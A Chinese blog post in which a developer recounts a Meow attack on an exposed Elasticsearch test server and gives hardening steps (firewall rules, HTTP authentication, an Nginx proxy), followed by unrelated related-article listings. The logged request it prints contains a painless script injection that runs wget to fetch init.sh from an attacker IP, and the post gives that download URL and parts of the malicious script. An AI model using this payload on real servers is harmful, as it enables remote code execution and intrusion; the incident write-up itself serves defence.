Meow 攻击会删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,然后建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)
07月29日,早上照例一来,先连接Elasticsearch查看日志【禁止转载,by @CoderBaby】,结果,咦,什么情况,相关索引被删除了,产生了一堆以Meow开头的奇奇怪怪的索引,如下图:
一阵紧张、懵逼,赶紧查看日志,发现如下问题:系统在远程连接并下载执行一个脚本,如下(慌张):
[--28T14::,][DEBUG][o.e.a.s.TransportSearchAction] [m3egspncll-meow][], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=, batchedReduceSize=, preFilterShardSize=, source={
"size" : ,
"script_fields" : {
"lupin" : {
"script" : {
"source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()",
"lang" : "painless"
},
"ignore_failure" : false
}
}
}}] lastShard [true]
查看整个脚本,可以看到,里面在修改防火墙配置、串改系统安全加固、设置watchdog等等(害怕),部分脚本相关代码如下(相关脚本,截止目前可到:http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh 下载):
chmod /tmp/networkservice
chattr +i /tmp/networkservice
chmod /tmp/sysguard
chattr +i /tmp/sysguard iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
然后一通google,发现腾讯安全和国外一个安全的哥们以发现此问题,如下(截止7月24日,他们发现已经有1779个Elasticsearch和MongoDB受到攻击):
可以去作者Twitter账号(梯子请自备 https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F)关注Meow攻击的后续进展,截止笔者发稿(8月5日),还有最新的进展:
【后续进展】
7月27号,攻击者会让受害者转到一个支付链接:
7月28号,有更多的受害者的数据被删除:
【问题原因】
Elasticsearch默认会对外开放9200端口,便于远程通过插件(如Elasticsearch-head)访问和管理。连接到服务器端口的任何个人和组织,就可以通过调用相应的API进行增删改查。
【解决方案】
(1)开启防火墙(service iptables start),或者关闭9200端口(iptables -A INPUT -p tcp --dport 9200 -j DROP),如需开放9200端口,建议在安全组限制只允许指定IP才能访问
(2)在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:
http.basic.enabled true #启动认证,开启会接管全部HTTP连接
http.basic.user "admin" #配置认证账号
http.basic.password "admin_pw" #配置认证密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名单
(3)使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
后记:
还好本人受攻击的只是测试服务器上的实验数据,后面果断公司卖出的服务器相关Elasticsearch开放端口全部关闭
*******************************************************************************
精力有限,想法太多,专注做好一件事就行
- 我只是一个程序猿。5年内把代码写好,技术博客字字推敲,坚持零拷贝和原创
- 写博客的意义在于打磨文笔,训练逻辑条理性,加深对知识的系统性理解;如果恰好又对别人有点帮助,那真是一件令人开心的事
*******************************************************************************
Meow 攻击会删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,然后建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)的更多相关文章
- Elasticsearch搜索资料汇总
Elasticsearch 简介 Elasticsearch(ES)是一个基于Lucene 构建的开源分布式搜索分析引擎,可以近实时的索引.检索数据.具备高可靠.易使用.社区活跃等特点,在全文检索.日 ...
- Java,该学什么?
本人大学学的是生物技术专业,毕业后入坑Java. 最近有人问我是如何转行的,需要学一些什么.我在网上看到一篇帖子,觉得写得很全.如果是我来写,可能还写不了这么全的.在此分享给网友. 2019秋招几个月 ...
- 【转】mysql数据库优化大全
数据库优化 sql语句优化 索引优化 加缓存 读写分离 分区 分布式数据库(垂直切分) 水平切分 MyISAM和InnoDB的区别: 1. InnoDB支持事务,MyISAM不支持,对于InnoDB每 ...
- 基于netty的socket服务端触发了channelInactive方法,但实际连接没有断开的问题
背景: 一个中小型H5游戏,后端使用基于 netty 的socket服务 服务端 分为 分发服务器 & 业务服务器,业务服务器可负载 用户客户端与分发服务器连接 分发服务器再作为客户端与每台业 ...
- 【数据库】Mysql中主键的几种表设计组合的实际应用效果
写在前面 前前后后忙忙碌碌,度过了新工作的三个月.博客许久未新,似乎对忙碌没有一点点防备.总结下来三个月不断的磨砺自己,努力从独乐乐转变到众乐乐,体会到不一样的是,连办公室的新玩意都能引起莫名的兴趣了 ...
- mysql数据库优化大全
转载:https://blog.csdn.net/weixin_38112233/article/details/79054661 数据库优化 sql语句优化 索引优化 加缓存 读写分离 分区 分布式 ...
- NOIP2017 列队——平衡树
平衡树蒟蒻,敲了半天. 其实思路很简单,就是把许多个人合并成一个区间.必要的时候再拆开.(是不是和这个题的动态开点线段树有异曲同工之妙?) 每次操作最多多出来6个点. 理论上时间复杂度是nlogn,空 ...
- Mysql性能优化一:SQL语句性能优化
这里总结了52条对sql的查询优化,下面详细来看看,希望能帮助到你 1, 对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引. 2,应尽量避免在 w ...
- mongodb学习(2)--- nodeJS与MongoDB的交互(使用mongodb/node-mongodb-native)
转载:http://www.cnblogs.com/zhongweiv/p/node_mongodb.html 目录 简介 MongoDB安装(windows) MongoDB基本语法和操作入门(mo ...
随机推荐
- 大话一个CPU(沙子是如何影响未来的)
大话一个CPU(沙子是如何影响未来的) CPU是个啥? 先大体上了解一下 中央处理器 (英语:Central Processing Unit,缩写:CPU),是计算机的主要设备之一,功能主要是解释计算 ...
- 数据可视化之PowerQuery篇(六)PowerQuery技巧:批量合并Excel表的指定列
本文来源于一个星友的问题,他有上百个Excel表格,格式并不完全一样,列的位置顺序也不同,但每个表都有几个共同列,这种情况下,能不能通过Power Query把这些表格共同的列批量合并呢? 当然是可以 ...
- 面试京东T5,被按在地上摩擦,鬼知道我经历了什么?
一转眼间,光阴飞快,各大企业都开始招人,各大学校也开始准备陆续入学. 金三银四已经快结束了,有的朋友发来喜报,面试上了一线大厂,也有没有面试上的朋友跑来跟我说,被虐惨了,几天给大家分享下我一个面试京东 ...
- JVM——内存区域:运行时数据区域详解
关注微信公众号:CodingTechWork,一起学习进步. 引言 我们经常会被问到一个问题是Java和C++有何区别?我们除了能回答一个是面向对象.一个是面向过程编程以外,我们还会从底层内存管理 ...
- Makefile中的奇葩字符
% : Makefile规则通配符,一般出现在目标或是依赖中 * : shell命令中的通配符,一般出现在命令中 $@:目标的名字 $^:所有依赖的名字 $<:第一个依赖的名字 $?:所有依赖中 ...
- C++语法小记---自己实现Thread类
自己实现Thread类 在C++的类中,普通成员函数不能作为pthread_create的线程函数,如果要作为pthread_create中的线程函数,必须是static ! 参考:https://b ...
- vue手脚架中使用jq
下载jq npm install jquery; 找到build文件夹下的webpack.base.config.js 先在开始的地方引入webpack const webpack = require ...
- ~~网络编程(四):socket套接字~~
进击のpython ***** 网络编程--socket socket的中文意思叫做套接字,socket方法其实也叫套接字方法 我们研究过TCP/UDP协议,但是要是让我们自己搭建,就十分困难了 而这 ...
- Python 简明教程 --- 26,Python 多进程编程
微信公众号:码农充电站pro 个人主页:https://codeshellme.github.io 学编程最有效的方法是动手敲代码. 目录 1,什么是多进程 我们所写的Python 代码就是一个程序, ...
- 【Laravel 】faker数据填充详解
安装 在laravel中已经自动集成,无需手动安装.如需在其他地方使用,可使用以下命令进行安装. composer require fzaninotto/faker 为Faker指定中文支持 可通过在 ...